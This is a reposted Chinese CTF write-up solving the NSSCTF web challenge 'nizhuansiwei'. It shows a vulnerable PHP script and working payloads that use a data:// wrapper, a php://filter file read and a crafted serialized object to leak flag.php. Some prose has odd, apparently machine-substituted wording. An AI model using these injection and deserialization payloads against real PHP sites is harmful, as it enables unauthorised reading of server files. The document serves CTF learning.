NSSCTF-WEB-nizhuansiwei

打印 上一主题 下一主题

主题 918|帖子 918|积分 2754

媒介

就直接上题目吧
这题有些意思

正文

  1. <?php  
  2. $text = $_GET["text"];
  3. $file = $_GET["file"];
  4. $password = $_GET["password"];//定义三个变量
  5. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?
  6.     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo         file_get_contents 绕过?
  7.     if(preg_match("/flag/",$file)){
  8.         echo "Not now!";
  9.         exit();
  10.     }else{
  11.         include($file);  //useless.php        包含,可利用?
  12.         $password = unserialize($password);
  13.         echo $password;  //构建序列化,由于未做限制,可自由发挥
  14.     }
  15. }
  16. else{
  17.     highlight_file(__FILE__);
  18. }
  19. ?>
复制代码
大致环境
1.file_get_contents
2.文件包罗
3.反序列化漏洞
再次审计分析,发现这里的强比力无法有用绕过 ,且/flag/被过滤
我们先尝试构建

EXP

首先要符合fgc
  1. ?data://text/plain,welcome to the zjctf
复制代码

接下来是文件包罗,获取提示给的useless.php内容
  1. ?file=php://filter/read=convert.base64-encode/resource=useless.php
复制代码

 
输出的内容
  1. <?php  
  2. class Flag{  
  3.     public $file;  
  4.     public function __tostring(){
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "<br>";
  8.         return ("U R SO CLOSE !///COME ON PLZ");
  9.         }  
  10.     }  
  11. }  
  12. ?>
复制代码
这就很简朴了
继续构建

  1. ?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
复制代码

........害搁这循序渐进是伐.......
但是没有其他可利用的地方了,然后f12看到了flag

..............................我真的就............................
算了算了
差不多就是这样
必要注意的是
1.三个变量缺一不可,因为题目有先后次序
2.file=useless.php是因为给了提示,不要想太多
3.多尝试

结语

没想到我也有500粉丝了,真的是始料未及的事情
感谢各位师傅们的支持,未来我也会给各人带来更多的内容
不只是CTF

作者的其他文章

攻防世界-WEB-ics07-CSDN博客
NSSCTF-WEB-easy_eval-CSDN博客
NSSCTF-WEB-pklovecloud-CSDN博客
BugKu-WEB-sodirty-CSDN博客

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

自由的羽毛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表